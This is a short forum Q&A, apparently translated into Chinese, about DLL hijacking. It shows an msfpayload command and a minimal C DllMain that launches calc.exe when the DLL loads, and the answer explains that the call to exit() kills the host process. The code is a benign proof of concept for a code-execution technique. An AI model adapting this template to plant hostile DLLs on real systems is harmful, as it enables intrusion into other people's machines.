Dll劫持计算器C代码

时间:2013-08-11 15:06:10

标签: c gcc dll exploit

大家好,我是Dll Hijacking的新手。我有几个问题,我希望你能帮助我澄清我的疑虑。

假设我使用msfpayload生成calc dll

msfpayload windows/exec CMD=calc.exe D > abc.dll

msfpayload生成的dll文件工作正常,计算器会随软件一起提示。

所以我使用了以下C代码:

#include <windows.h>

int owned()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  owned();
  return 0;
}

当我编译这个并且只使用Calculator会提示。该软件将无法执行。这是为什么?我使用MinGW GCC编译器进行编译。

1 个答案:

答案 0 :(得分:2)

  

软件无法执行。 [W] hy是那个?

几乎可以肯定,因为owned()会调用exit()。这终止了这个过程。